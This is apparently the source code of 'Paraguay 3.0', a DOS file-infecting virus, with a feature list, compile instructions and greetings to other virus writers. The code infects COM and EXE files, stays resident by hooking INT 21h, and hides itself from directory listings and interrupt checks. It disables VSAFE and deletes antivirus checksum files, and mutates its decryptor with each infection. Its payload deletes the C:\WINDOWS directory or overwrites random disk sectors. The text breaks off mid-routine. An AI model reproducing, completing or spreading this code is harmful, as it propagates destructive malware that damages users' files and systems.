Comment # ßÛßßßßßÜ ßÜ Üß Ü ÜÜÜÜ Ü Ü Üßßß Û Û Û Û Û ÛÜß Û Û ßßÛ Û Û ß ß Û Û ßß ßßß ÛÜÜÜÜÜß ÜÜÜ Ü ÜÜ ÜÜÜ ß Ü Ü ÜÜÜ Ü Ü Û Û Ûß Û ÜßßßÜ Û Û Û Û Û Û ÜßßÛ Û ÜßßÛ Û Û Û Û ÜßßÛ ßÜÜÛ ÜÛÜ ßÜÜÛÜ Û ßÜÜÛÜ ßÜÜÜÛ ßÜÜß ßÜÜÛÜ Û Û Û ßÜÜß ßÜÜß

ßßÜ ÜßßÜ ßÜ Û Û ßß ß ßß

ÄÄÄÄÄÄÄÄÄ Ä Ä ú Coded by Int13h in Paraguay, South America ú Ä Ä ÄÄÄÄÄÄÄÄÄ Characteristics ÍÍÍÍÍÍÍÍÍÍÍÍÍÍ * Appending COM/EXE infector. COMs > 666 and < 60000 bytes * Resident using Memory Control Block (MCB), hooks INT 21h. * Fast infector. Infects on open, execution, rename, extended open and get/change attributes. * Doesn't reinfect memory or files. * Directory and Handle stealth. Hides virus-size on ah=11h/12h/4eh/4fh. * Turns off VSAFE's flags while analyzing or infecting files. When the dirty work is finished, the flags are returned, except of the 'Write Protect' one, coz caches may make troubles. * Time Stealth (AX=5700h and 5701h), returns correct seconds and prevents any program from setting normal seconds to an infected file. * Handler Stealth (AX=2521H and 3521H), returns previous handler for INT 21h when someone requests it, and when any program wants to get control over INT 21h, it sets it as second handler, this way, the virus is always first at INT 21h. * Gets INT 21h vector tracing the Progam Segment Prefix (PSP), and if it finds it, it uses this one, otherwise it uses INT 21h normally. * Deactivates trap flag and INT 01h, in order to avoid tunneling on any int we hook. * On May (Paraguayan's independence day), if we get a random byte over 200, the virus dels every file and subdirectories on stinky and filthy C:\WINDOWS, setting it as an alternative entrance to DOS (from old CP/M). * It dels ANTI-VIR.DAT, CHKLIST.CPS, CHKLIST.MS and AVP.CRC in the dir where files are infected. * Files infected are set to 60 seconds. * Doesn't infect files ended with AN,AV,OT,RD,RU,IT,VP,SK,IP,RJ,AR,HA so we dont have probs with suckers. Whenever it detects an execution of any file with these endings, it deactivates stealth. Then there are no problems with compressing programs (pkzIP, aRJ, rAR, lHA) and various AV's. Whenever the program terminates its execution (AH=4Ch/int 21h or INT 20h) it reactivates stealth. * Sets its own code for handling Errors. * Avoids infecting immunized files (CPAV) and DOS 7.0 .COM's. * There's no viral activity if Novell Network is detected. * It doesn't infect WINSLOWS .EXE files. * It doesn't infect with a different length from that specified on the header (overlayed .EXE's). * Maintains Date + Time (sets seconds to 60 ;-). * Returning control to .COM tries to infect COMMAND.COM. Returning contorl to .EXE verifies the payload condition. * Opens files in 'Read Only' mode, and manipulates the System File Table to change to 'Read/Write' mode, save attribs and set them to normal. It also resets the pointer. * Kinda polymorphic, with random regs selection and garbage adding in the decryptor. The opcodes table changes on each infection.

TO COMPILE IT * tasm parag-30.asm /m3 * tlink parag-30.obj

( I TASM, so I am )

Greetz - Greetz - Greetz - Greetz - Greetz - Greetz - Greetz - Greetz Methyl : Superx : Tcp : Mister Sandman: Sepultura : GriYo : Jacky Qwerty : Drako [DAN] : hello prince of tunneling! a mov ax,04202h takes in your code just a nibble :) your disassemblies rock Metallica rulesss X-DDDD come back to da scene, mate. disinfection-on-the-fly equ desinfectar-a-la-mosca ;-) you can infect even a particle acelerator :) holas. mino@iia2.org no funciona :-( Saludos!

Also greetz to the gods: Vyvojar, F3161, Neurobasher, Masud & Dark Avenger. # .Model Tiny .Code Org 0h

; .Pseudocode would be better hehehe ; Yes, yes, yes; It's an EXE

Longitud Largor VirusEnPara Saltarlos Cripted ParraVir1 ParraVir2

equ equ equ equ equ equ equ

(offset FakeHoste-offset Paraguay) (offset Omega-Offset Paraguay) (Largor+15)/16 (offset Jeroglifico-offset Paraguay) ((offset Omega-offset Jeroglifico)/2) ((Longitud+15)/16)+1 ((Longitud+15)/16)

Paraguay: db 18 dup (090h) call Paso1 Paso1: nop pop bp Paso2: sub bp,offset Paso1 Junk02: db 8 dup (090h) Paso3: mov bp,bp Junk03: db 4 dup (090h) push cs pop ds Junk04: db 12 dup (090h) Paso4: lea si,[bp+offset Jeroglifico] Junk05: db 6 dup (090h) Paso5: db 081h,0c6h,0,0 Junk06: db 10 dup (090h) Paso6: push si Junk07: db 4 dup (090h) Paso7: mov cx,Cripted/2 Junk08: db 8 dup (090h) Paso8: add cx,Cripted/2 Junk09: db 6 dup (090h)

; Buffer ; Delta Offset

; ; ; ; ;

In BP goes delta (variable) In all labels Junk, garbage. Used registers are selected randomly by the rnd code. DS:=CS

; Index Register is variable ; ADD SI,0000 ; Stack return address ; so RET jumps there. ; CX value is divided

Desencriptor: Paso9: db 081h,034h Clave dw 0 Junk10: db 14 dup (090h) Paso10: inc si inc si

; Hence the decryptor #:) ; XOR WORD PTR [SI],CLAVE

; It may be SI,DI or BX

Junk11: db 4 dup (090h) Loop Desencriptor Junk12: db 8 dup (090h) ret Junk13: db 16 dup (090h) Jeroglifico: push es pop ds mov ah,2 int 16h mov ax,0db00h int 21h or al,al jz NoHayNovell jmp MemoriaYaPodrida NoHayNovell: mov ax,0cd13h int 21h cmp ax,013cdh jne Instalar jmp MemoriaYaPodrida Instalar: push es mov ax,3521h int 21h mov cs:[bp+word mov cs:[bp+word mov cs:[bp+word mov cs:[bp+word

; Waste, waste, waste...

; Jumps into decryted or RETurns. ; It's needless, but just i put it. ; ; ; ; Encrypted Virus Replace DS, in case it is an EXE DS:=ES TBCLEAN intended.

; Verify whether NETX.EXE ; from Novell Network is ; resident. ; If Novell's there, dont infect.

; Hell Good Interruption! ;) ; Residency test. ; Load virus into memory.

; Reserve room in ; "R.A.M." Hotel :) ; Old INT 21h handler. ptr ptr ptr ptr Abuela21h],bx Abuela21h+2],es Real21h],bx ; In case PSP tracing fails. Real21h+2],es

mov ax,3520h ; Old INT 20h handler. int 21h mov cs:[bp+word ptr Interrupcion20h],bx mov cs:[bp+word ptr Interrupcion20h+2],es push ds ; Data Segment to stack lds bx,ds:[0006h] ; Tracear:cmp byte ptr ds:[bx],0eah ; jne Chekear ; lds bx,ds:[bx+1] cmp word ptr ds:[bx],9090h ; jnz Tracear sub bx,32h cmp word ptr ds:[bx],9090h ; jne Chekear Hallado:mov cs:[bp+word ptr Real21h],bx ; mov cs:[bp+word ptr Real21h+2],ds jmp short MCBTSR Chekear:cmp word ptr ds:[bx],2e1eh jnz MCBTSR add bx,25h cmp word ptr ds:[bx],80fah je Hallado Search for original INT 21h handler in PSP. Thanks Satan's Little Helper Search for double NOP

"

"

"

"

Save found address

MCBTSR: pop mov dec mov

ds ax,ds ax es,ax

; Unload Data Segment from stack ; Get resident using ; <----- MCB

mov ax,es:[3] sub ax,ParraVir1 xchg bx,ax push ds pop es mov ah,4ah int 21h mov ah,48h mov bx,ParraVir2 int 21h dec mov mov mov inc mov xor ax es,ax word ptr es:[1],8 word ptr es:[8],'PY' ax es,ax di,di

; ; ; ;

Memory Substract virus length in paragraphs (16 bytes) ES:=DS

; Free unused memory

; Allocate memory

; Virus? Nope... its DOS ;) ; Block's name: PY (Paraguay)

push cs pop ds lea si,[bp+offset Paraguay] mov cx,Longitud rep movsb int 03h xor mov mov mov mov mov mov mov pop ax,ax ds,ax dx,offset Maldita21h word ptr ds:[21h*4],dx ds:[21h*4+2],es dx,offset Inty20h word ptr ds:[20h*4],dx ds:[20h*4+2],es es

; Copy virus to free segment ; From the begining ; CX bytes

; 4 DEBUG!

; DS:=0 ; Gets INT 21h directly ; modifying the IVT

; Gets INT 20h

; Extra Segment saved

MemoriaYaPodrida: cmp byte ptr [bp+ComOexe],'C' je CorrerCOM mov ah,2ah int 21h cmp dh,05 jne SigaNomas in ax,40h cmp al,200d jb SigaNomas push cs pop ds mov ah,03bh lea dx,[bp+Offset WindoSucks] int 21h jc LittleDamage

; What are we infecting?

; System's date.

; Independence month!!

; Trivial Randomic Generator.

; DS:=CS

; Enter the directory ; Error Hmmm Lets fuck it anyway! ;)

lea ax,[bp+offset ImprimirCadena] push ax ; Stack Return Address

push cs pushf mov cl,13h lea dx,[bp+offset FCBTrucho] sub ax,ax push ax mov ax,00c0h push ax retf LittleDamage: in ax,40h xchg dx,ax xor dh,dh mov al,2 mov cx,2 int 26h ImprimirCadena: push cs pop ds mov ah,9 lea dx,[bp+offset CopyWrong] int 21h xor ax,ax int 16h SigaNomas: push es pop ds mov bx,bp mov ax,es add ax,10h add cs:[(bx+CS_IP)+2],ax cli add ax,cs:[(bx+SS_SP)+2] mov ss,ax mov sp,cs:[bx+SS_SP] sti call Limpiar db 0ebh,0h db 0eah CS_IP dw offset FakeHoste,0h SS_SP dw 0,0

; ; ; ; ;

Our Code Segment And the flags Delete using FCB (Function in cl) The diabolic table 0 Segment

; Offset 0c0h = alternative entrance ; Jmp there!

; Just between the first 0xff sectores ; Drive C: ; Smashs two random sectors

; Social Presentation

; Print Copyright

; It even pauses! :)

; Correct Data Segment

; F-Prot's guilty for this

; Because of the PSP

; Stop ints ; Its stack segment ; and its stack pointer ; Free ints ; Reinitialize registries ; Free the prefetch queue ; Jump to EXE's CS:IP ; Its SS:SP

CorrerCOM: call Segmentos mov ah,56h lea dx,[bp+offset CommandCom] mov di,dx int 21h lea si,[bp+offset Vafer] mov di,100h push di cld

; ; ; ;

Rename! Hehe, just to infect COMMAND.COM, making sure we get on memory early each day in the morning.

; Its original bytes... ; 100h to stack

movsb movsw Limpiar:xor xor xor xor xor xor xor ret ax,ax bx,bx cx,cx dx,dx si,si di,di bp,bp

; Return its old bytes.

; Clean registers

; Run COM or return to caller

Stealth_Segundos2: push dx push cx mov ax,5700h pushf call dword ptr cs:[Real21h] and cl,00011111b cmp cl,00011110b jne Tranquilopa pop cx and cl,11100000b or cl,00011110b push cx Tranquilopa: pop cx pop dx mov ax,5701h pushf call dword ptr cs:[Real21h] iret

; Saves originals ; Get date & time of the given handle

; ¨60 seconds? ¨Infected?

; Marks as infected ; 30*2=60!

; Set the date & time

Stealth_Segundos1: pushf call dword ptr cs:[Real21h] push cx and cl,00011111b cmp cl,00011110b jne NoPasaNada pop cx and cl,11100000b or cl,1 push cx NoPasaNada: pop cx iret

; Do the real int

; ¨60 seconds?

; Erase erronous infect mark ; 1*2=2 seconds

Maldito_Jump2: jmp Stealth2 Maldito_Jump3: jmp Analizar

; Worst opcodes are those short ; jumps of 128 bytes! :-(

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Maldita21h: Its the INT 21h handler set by Paraguay 3.0 ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Maldita21h proc far ; My INT 21h push ds

push si push ax push bx pushf pop ax and ah,11111110b push ax popf sub ax,ax mov ds,ax mov bx,4 lds si,[bx] mov bl,byte ptr [si] mov byte ptr [si],0cfh pop bx pop ax pop si pop ds cmp ax,0cd13h je Chequeo cmp ax,03521h je Ocultar21h_A cmp ax,02521h je Ocultar21h_B cmp ax,05700h je Stealth_Segundos1 cmp ax,05701h je Stealth_Segundos2 cmp ah,11h je Stealth1 cmp ah,12h je Stealth1 cmp ah,4eh je Maldito_Jump2 cmp ah,4fh je Maldito_Jump2 cmp ah,04bh je Maldito_Jump3 cmp ah,056h je Maldito_Jump3 cmp ah,043h je Maldito_Jump3 cmp ah,3dh je Maldito_Jump3 cmp ax,6c00h je Maldito_Jump3 cmp ah,4ch je SalidaProg db 0eah Abuela21h dw 0,0 Chequeo:xchg ah,al iret Maldita21h endp

; Saving the registers I'll use.

; ; ; ; ; ; ; ; ;

Get flags into AX Zero out Trap Flag used for tunneling And load modified flags from AX DS:=0 = IVT 0000:0004 = Int 1h handler DS:SI = " " " Handler's first byte in bl That is an InterruptionRETurn

; Restore registers

; Memory Check ; Hide Int21h ; Protect Int21h ; Hide wrong secs ; Protect wrong secs ; FCB finding first ; FCB finding next ; Finding first ; Finding next ; Program execution ; Rename files ; Get/Set attribs ; Open ; Extended Open ; Program end... ; Normal INT, uninteresting :) ; Yes!!!! Here we are.

SalidaProg: ; Int 21h/4Ch to end the program mov byte ptr cs:[HacerStealth],1; Set stealth flag jmp dword ptr cs:[Abuela21h]

Inty20h:

; Int 20h ending (4 some old COMs) mov byte ptr cs:[HacerStealth],1; Set stealth flag

db 0eah Interrupcion20h dw 0,0

Ocultar21h_A: mov bx,cs:[word ptr Abuela21h] ; Old handler into ES:BX mov es,cs:[word ptr Abuela21h+2] iret Ocultar21h_B: mov cs:[word ptr Abuela21h],dx ; Set DS:DX as second handler mov cs:[word ptr Abuela21h+2],ds; in the chain. iret ; Viruses first ;)

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Stealth1: Edit File Control Block size to hide the al virus ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Stealth1: ; FCB stealth pushf call dword ptr cs:[Abuela21h] or al,al ; al = 0? jne ErrorDir ; Puaj! Error :-( push ax push bx push es mov ah,62h int 21h mov es,bx cmp bx,es:[16h] jne Fuera mov bx,dx mov al,[bx] push ax mov int pop inc jne add FCBComun: mov and cmp jne ah,2fh 21h ax al FCBComun bx,7

; Save this regs into the stack

; PSP: where is it?

; Correct PSP? ; Nope, chau. ; Points to original FCB in the PSP ; Save AX for later comparison ; In ES:BX there is DTA's address ; Reget AX (AL=ffh or AL=1) ; Which FCB-type? ; Its extended, turn it normal

al,byte ptr es:[bx+17h] al,00011111b al,00011110b Fuera

; True Seconds... ; 60 seconds?

cmp word ptr es:[bx+1dh],(Largor+200) ja Sustraer ; If greater than virus, substract. cmp word ptr es:[bx+1fh],0 je Fuera ; Too small as to be infected

Sustraer: sub word ptr es:[bx+1dh],Largor sbb word ptr es:[bx+1fh],0000 ; Substract virus size or byte ptr es:[bx+17h],1 ; Hide the seconds

Fuera:

pop es pop bx pop ax ErrorDir: retf 2

; Pop modified regs

; IRET maintaining flags

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Stealth2: Edit Disk Transfer Area size to hide the virus ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Stealth2: ; Handle stealth pushf call dword ptr cs:[Abuela21h] jc Demonios ; If carry is set...-ERROR! cmp byte ptr cs:[HacerStealth],0; Is stealth off? je Demonios pushf push ax push es push bx mov ah,2fh int 21h mov and cmp jne ax,es:[bx+16h] al,00011111b al,00011110b Paso ; DTAddress ; in ES:BX ; Unhide the seconds ; 60 segundos?

cmp word ptr es:[bx+1ah],(Largor+200d) jb Paso ; Verify size sub word ptr es:[bx+1ah],Largor ; Substract virus sbb word ptr es:[bx+1ch],0000 or byte ptr es:[bx+16h],1 ; Hide seconds Paso: pop bx pop es pop ax popf Demonios: retf 2

; RETurn

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Manejador24h: Pseudo-error-handler, so as to avoid write protect errors ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Manejador24h proc near ; Dumb critic error handler mov al,03 iret ; -It's nothing, officer... Manejador24h endp

Maldito_Jump4: jmp PopAll SoloPopear: jmp JustPOPs

; 128 byte shit junk

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Analizar: Analize and eventual infection of file given in DS:DX ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Analizar: ; Examine victim pushf push ax push bx push cx push dx push si push di push ds push es cmp ax,6c00h jne No_Apertura_Extendida cmp dx,0001 jne SoloPopear mov dx,si No_Apertura_Extendida: push ax push dx push ds ; Special case DS:SI

; Standard open

; Now its DS:DX also

; V¡ctim

mov ax,3524h ; Int 24h Handler int 21h mov word ptr cs:[Vieja24h],bx mov word ptr cs:[(Vieja24h)+2],es push cs pop ds mov ax,2524h mov dx,offset Manejador24h int 21h mov mov mov int mov ax,0fa02h dx,5945h bl,00000000b 21h byte ptr cs:[Vsuck],cl ; Pipe it

; Turn off VSAFE's flags ; ; New flags = 0 ; Save flags for later ; Candidate in DS:DX

pop ds pop dx push ds pop es pop ax cld mov di,dx mov cx,128 mov al,'.' repne scasb jne Maldito_Jump4 push ax mov ax,word ptr es:[di-3] or ax,02020h cmp ax,'na' je Actuar cmp ax,'va'

; Search jumping .

; Dont infect undesirable! ; scAN / cleAN / tbscAN / tbcleAN ; tbAV / nAV

je Actuar cmp ax,'to' je Actuar cmp ax,'dr' je Actuar cmp ax,'ur' je Actuar cmp ax,'ti' je Actuar cmp ax,'pv' je Actuar cmp ax,'ks' je Actuar cmp ax,'pi' je Actuar cmp ax,'jr' je Actuar cmp ax,'ra' je Actuar cmp ax,'ah' je Actuar pop ax jmp short IsNotEvilSoft Actuar: pop cmp jne mov jmp

; fool-prOT ; guaRD ; findviRU ; toolkIT ; aVP ; chkdSK ; pkzIP ; aRJ ; rAR ; lHA

ax ah,04bh ; Will junk be exec'ed? Maldito_Jump5 byte ptr cs:[HacerStealth],0; Turn stealth off short Maldito_Jump5

IsNotEvilSoft: xchg si,di lodsw or ax,2020h cmp ax,'oc' jne VerEXE3 lodsb or al,20h cmp al,'m' je Label3 Maldito_Jump5: jmp PopAll VerEXE3:cmp ax,'xe' jne Maldito_Jump5 lodsb or al,20h cmp al,'e' jne Maldito_Jump5 Label3: mov ax,3d00h pushf call dword ptr cs:[Real21h] jc Maldito_Jump5 xchg bx,ax mov word ptr cs:[Handle],bx push cs pop ds mov ax,4301h mov dx,offset Basura1 sub cx,cx

; Check ext ; Uncapitalize ; .CO?

; .COM?

; Abort mission ; .EX?

; .EXE?

; Open host in read-only ; mode

; Handle into BX

; Get ANTI-VIR.DAT attrib naked

pushf call dword ptr cs:[Real21h] mov ah,41h mov dx,offset Basura1 int 21h mov ah,41h mov dx,offset Basura2 int 21h mov ah,41h mov dx,offset Basura3 int 21h mov ah,41h mov dx,offset Basura4 int 21h mov ax,5700h pushf call dword ptr cs:[Real21h] mov word ptr cs:[Time],cx mov word ptr cs:[Date],dx and cl,00011111b cmp cl,00011110b jne Conti jmp Maldito_Jump6

; Call handler directly

;

; Chau CHKLIST.MS

; C ya CHKLIST.CPS

; Good luck AVP.CRC

; Time and Date please ; Call handler directly

; 30*2= ¨60? ; Already infected?

Conti:

call Segmentos mov ah,3fh mov cx,45d mov dx,offset Cabecera int 21h mov si,dx cmp word ptr [si],'ZM' je InfectarEXE cmp word ptr [si],'MZ' je InfectarEXE

; Set working segments ; Read from the beginning ; 45 bytes to our buffer

; Is it a True EXE?

; Other way

InfectarCOM: push bx mov ah,30h int 21h pop bx cmp al,7 jae Maldito_Jump6 call AlFinal cmp ax,60000d ja Maldito_Jump6 cmp ax,029Ah jbe Maldito_Jump6 cmp word ptr [si+11d],'TW' je Maldito_Jump6 mov byte ptr [COMoEXE],'C' mov di,offset Vafer movsb

; Notice .COM files ; Save handle

; And restore it here ;) ; Dare not touch the COMs ; from DOS 7 or above

; Check size ; Hi there spanish pals ;-)

; CPAV immunized?

; Mark as .COM ; which we will write into 100h after

movsw sub ax,3 mov word ptr [Salto+1],ax call HIPOCRESIA mov bx,[Handle] call Manipular_SFT mov mov mov int ah,40h cx,Largor dx,offset CopiaVir 21h ; JMP

; Change the face. -HIPOCRITE! ;) ; Handle in BX ; Modify SFT info

; ADD file,virus ; Pointer to the beginning SFT

mov word ptr es:[di+015h],00 mov word ptr es:[di+017h],00 mov mov mov int ah,40h cx,3 dx,offset Salto 21h

; Write the JMP

inc word ptr [Contador] mov cl,byte ptr [Atributos] mov byte ptr es:[di+4],cl call PongoFecha Maldito_Jump6: jmp Cerrar

; One more ;) ; Return its original attribs

; Restore date and time ; Close and go

InfectarEXE: cmp word ptr [si+018h],0040h jae Maldito_Jump6 cmp word ptr [si+01ah],0000 jne Maldito_Jump6 cmp word ptr [si+43d],'TW' je Maldito_Jump6 call AlFinal mov cx,512d div cx or dx,dx je NoHayResto inc ax NoHayResto: cmp word ptr [si+02h],dx jne Maldito_Jump6 cmp word ptr [si+04h],ax jne Maldito_Jump6 mov byte ptr [COMoEXE],'E' call AlFinal push dx push ax

; Notice .EXE ; If Windoze let it rot

; Overlay?

; Sucked with CPAV's code?

; See if not overlayed ; Is multiple?

; Do partial page bytes match? ; Total page bytes match ; real size? ; EXE marked ; Size

les ax,dword ptr [(Cabecera+014h)]

mov mov les mov mov

[CS_IP],ax ; [(CS_IP+2)],es ; ax,dword ptr [(Cabecera+0eh)] word ptr [SS_SP],es ; word ptr [(SS_SP+2)],ax ;

The world-wide known CS:IP and the not less well-known SS:SP CS:IP (Intel Reversed Word Format) SS:SP (Non " " " " )

mov ax,word ptr [(Cabecera+08h)] mov cl,4 shl ax,cl xchg bx,ax pop ax ; Pop size pop dx push ax push dx ; Repush sub ax,bx sbb dx,0 mov cx,10h div cx ; Turn into segmented style mov word ptr [(Cabecera+014h)],dx mov word ptr [(Cabecera+016h)],ax mov word ptr [(Cabecera+0eh)],ax mov word ptr [(Cabecera+010h)],0 pop dx pop ax add ax,Largor adc dx,0 mov cl,9 push ax shr ax,cl ror dx,cl or dx,dx stc adc dx,ax pop ax and ah,1 mov word ptr [(Cabecera+4)],dx mov word ptr [(Cabecera+2)],ax ; Pop size one more time

; Host+Virus size

; Garbage

mov ax,word ptr [(Cabecera+0ah)]; MinAlloc clc add ax,VirusEnPara jc NoAgregarMemoria ; If carry dont add mov word ptr [(Cabecera+0ah)],ax NoAgregarMemoria: ; MaxAlloc, underneath mov word ptr [(Cabecera+0ch)],0ffffh call HIPOCRESIA mov bx,[Handle] call Manipular_SFT mov mov mov int ah,40h cx,Largor dx,offset CopiaVir 21h ; Change yer face. -HIPOCRITE!

; Stack virus at the end

mov word ptr es:[di+015h],00 mov word ptr es:[di+017h],00 mov ah,40h

; Set pointer to start simply by ; resetting the pos set in SFT ; Write header at the beginning

mov cx,01ah mov dx,offset Cabecera int 21h inc word ptr [Contador] mov cl,byte ptr [Atributos] mov byte ptr es:[di+4],cl call PongoFecha Cerrar: mov ah,3eh int 21h PopAll: push cs pop ds mov mov mov int mov mov mov and int ds,word ptr [Vieja24h+2] dx,cs:word ptr [offset Vieja24h] ax,2524h 21h ; Restore Error Handler ax,0fa02h dx,5945h bl,byte ptr cs:[Vsuck] bl,11111011b 21h ; Before ending, clean tracks ; Restore VSAFE's flags ; Turn off write-protected flag ; (cache stuff) ; Another one for the list ; Return Original Attribs

; Restore Date and Time set ; Close file

JustPOPs: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp dword ptr cs:[Abuela21h]

; Pop all regs ;

Contador CopyWrong

dw 0 ; Infection counter db 'VIRUS BELBELBELPARAGUAY BELBELVer. 3.0BEL!$ Programmed by Int13h,' db ' in Paraguay, South America.' db 'ANTI-VIR.DAT',0 db 'CHKLIST.MS',0 db 'CHKLIST.CPS',0 db 'AVP.CRC',0 db 'C:\COMMAND.COM',0 db 'C:\WINDOWS',0 db 0e9h,00h,00h db 090h,0cdh,020h db 5 db 'E' db 0ffh db 5 dup(0) db 1fh db 3 db '???????????' db 19h dup(0) Real21h dw 0,0 ; Computer disgraces

Basura1 Basura2 Basura3 Basura4 CommandCom WindoSucks Salto Vafer Cinco ComOexe FCBTrucho

; ; ; ; ; ; ; ; ; ;

To infect this sucker I'm about to vomit! Puuuaaaaj!! Initial jump at beginning of COM The three original COM bytes So as to randomize decryptor's CX The mark The FCB table to delete WINDOWS dir with all its files and subdirs no matter their attribs.

; Real 21h handler

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! Manipular_SFT: Modify opening mode of file and save/change attribs ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Manipular_SFT: push bx mov ax,1220h ; Get Job System Table int 2fh ; in ES:DI mov xor mov int mov mov mov mov pop ret ax,1216h bh,bh bl,es:[di] 2fh cl,byte ptr es:[di+4] byte ptr [Atributos],cl byte ptr es:[di+4],20h byte ptr es:[di+2],2 bx ; Now the File System Table ; for our handle in ES:DI

; ; ; ;

Manipulate SFT Get attribs Attrib = 20h = file Read/write access

Maldito_Jump7: jmp Muto7 Maldito_Jump8: jmp Muto6 Maldito_Jump9: jmp Muto5 Maldito_Jump10: jmp Muto4

; Must I say something about ; 128 byte-jumps still??? :)

;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ ;! HIPOCRESIA: Mute decryptor opcode x opcode. Copy heap (between others) ! ;/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ HIPOCRESIA: call segmentos DamePalabraRandomica: in ax,40h ; Encryption key or ax,ax je DamePalabraRandomica mov [Clave],ax in ax,40h mov dx,ax cmp al,36 jb Maldito_Jump7 cmp al,72 jb Maldito_Jump8 cmp al,108 jb Maldito_Jump9 cmp al,144 jb Maldito_Jump10 cmp al,180 jb Muto3 cmp al,216 jb Muto2 Muto1: mov bx,offset Paso1 ; Random number from port 40h

; ; ; ; ; ; ; ;

Regs selector with which we'll work in the decryptor. This is the beginning, that is where IP which CALL left on the stack will get popped and this way get the delta offset that goes into BP

; Mute, mute, mute y mute.

mov [bx],0582fh mov bx,offset Paso2 mov [bx],02d90h mov bx,offset Paso3 cmp dl,85d jb Little1 cmp dl,170d jb Little12 mov [bx],0c589h jmp Sigo Little1:mov [bx],0fb95h jmp Sigo Little12:mov [bx],0c587h jmp Sigo Muto2: mov bx,offset Paso1 mov [bx],05ef5h mov bx,offset Paso2 mov [bx],0ee81h mov bx,offset Paso3 cmp dl,85d jb Little2 cmp dl,170d jb Little22 mov [bx],0f589h jmp Sigo Little2:mov [bx],0ee87h jmp Sigo Little22:mov [bx],0f587h jmp Sigo Muto3: mov bx,offset Paso1 mov [bx],0593fh mov bx,offset Paso2 mov [bx],0e981h mov bx,offset Paso3 cmp dl,85d jb Little3 cmp dl,170d jb Little32 mov [bx],0cd89h jmp Sigo Little3:mov [bx],0e987h jmp Sigo Little32:mov [bx],0cd87h jmp Sigo Muto4: mov bx,offset Paso1 mov [bx],05b27h mov bx,offset Paso2 mov [bx],0eb81h mov bx,offset Paso3 cmp dl,85d jb Little4 cmp dl,170d jb Little42 mov [bx],0dd89h jmp Sigo Little4:mov [bx],0eb87h jmp Sigo Little42:mov [bx],0dd87h jmp Sigo Muto5: mov bx,offset Paso1 mov [bx],05fcch mov bx,offset Paso2 mov [bx],0ef81h

; DAS / POP AX ; NOP / SUB AX

; MOV BP,AX ; STI / XCHG BP,AX ; XCHG AX,BP

; CMC / POP SI ; SUB SI

; MOV BP,SI ; XCHG BP,SI ; XCHG SI,BP -Theyre different opcodes! Thats why we get both

; AAS / POP CX ; SUB CX

; MOV BP,CX ; XCHG BP,CX ; XCHG CX,BP

; DAA / POP BX ; SUB BX

; MOV BP,BX ; XCHG BP,BX ; XCHG BX,BP

; INT 3 / POP DI ; SUB DI

mov bx,offset Paso3 cmp dl,85d jb Little5 cmp dl,170d jb Little52 mov [bx],0fd89h jmp Sigo Little5:mov [bx],0ef87h jmp Sigo Little52:mov [bx],0fd87h jmp Sigo Muto6: mov bx,offset Paso1 mov [bx],05df8h mov bx,offset Paso2 mov [bx],0ed81h mov bx,offset Paso3 mov cx,1 call Ygramul Muto7: mov bx,offset Paso1 mov [bx],05af9h mov bx,offset Paso2 mov [bx],0ea81h mov bx,offset Paso3 cmp dl,85d jb Little7 cmp dl,170d jb Little72 mov [bx],0d589h jmp short Sigo Little7:mov [bx],0ea87h jmp short Sigo Little72:mov [bx],0d587h

; MOV BP,DI ; XCHG BP,DI ; XCHG DI,BP

; CLC / POP BP ; SUB BP ; 2 garbage bytes

; STC / POP DX ; SUB BX

; MOV BP,DX ; XCHG BP,DX ; XCHG DX,BP

Sigo:

xor ax,ax in al,40h mul byte ptr Cinco cmp ax,Largor ja Sigo xchg cx,ax mov ax,Largor sub ax,cx mov bx,(offset Paso7+1) mov [bx],ax mov bx,(offset Paso8+2) mov [bx],cx sub ax,ax in al,40h xchg cx,ax mov ax,offset Jeroglifico sub ax,cx mov bx,(offset Paso4+2) mov [bx],ax mov bx,(offset Paso5+2) mov [bx],cx in al,40h cmp al,85 jb Cambia3 cmp al,170 jb Cambia2 mov bx,offset Paso4

; So that CX is more randomic

; Must be less than wanted value

; On their marks

; Divide the address from which ; we'll start the decryption

; Write values into memory

; Select index register

; LEA SI,[BP+XX]

